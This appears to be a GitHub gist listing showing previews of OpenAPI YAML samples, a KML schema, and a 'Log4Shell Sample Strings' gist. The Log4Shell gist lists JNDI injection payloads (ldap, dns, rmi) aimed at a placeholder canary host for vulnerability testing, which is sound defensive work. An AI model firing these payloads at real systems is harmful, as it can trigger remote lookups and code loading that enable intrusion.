Skip to content

Instantly share code, notes, and snippets.

@johnkoerner
johnkoerner / Test.yaml
Created September 27, 2018 18:17
A sample to show bearer token generation in openapi-generator
openapi: 3.0.0
servers:
- url: 'http://example.com'
info:
description: This is an example
version: 0.0.1
title: Example
termsOfService: ''
paths:
/foobar:
@johnkoerner
johnkoerner / Test.yaml
Created September 28, 2018 19:10
Test YAML for openapi generator issue where typescript does not include an import for the correct model
openapi: 3.0.0
servers:
- url: 'http://example.com'
info:
description: This is an example
version: 0.0.1
title: Example
termsOfService: ''
paths:
/foobar:
<?xml version="1.0" encoding="utf-8" ?>
<kml xmlns="http://www.opengis.net/kml/2.2">
<Document id="root_doc">
<Schema name="School_Districts__v17a_" id="School_Districts__v17a_">
<SimpleField name="OBJECTID" type="int"></SimpleField>
<SimpleField name="FIPSCODE" type="string"></SimpleField>
<SimpleField name="FIPSNUM" type="int"></SimpleField>
<SimpleField name="LABEL" type="string"></SimpleField>
<SimpleField name="TYPE" type="string"></SimpleField>
<SimpleField name="DCODE" type="string"></SimpleField>
@johnkoerner
johnkoerner / Log4Shell Sample Strings.md
Last active December 14, 2021 21:24
Strings for testing Log4Shell

Replace test.example.com with your canary service of choice.

Basic Tests

${jndi:ldap://test.example.com}
${jndi:dns://test.example.com}
${jndi:rmi://test.example.com}

URL Encoded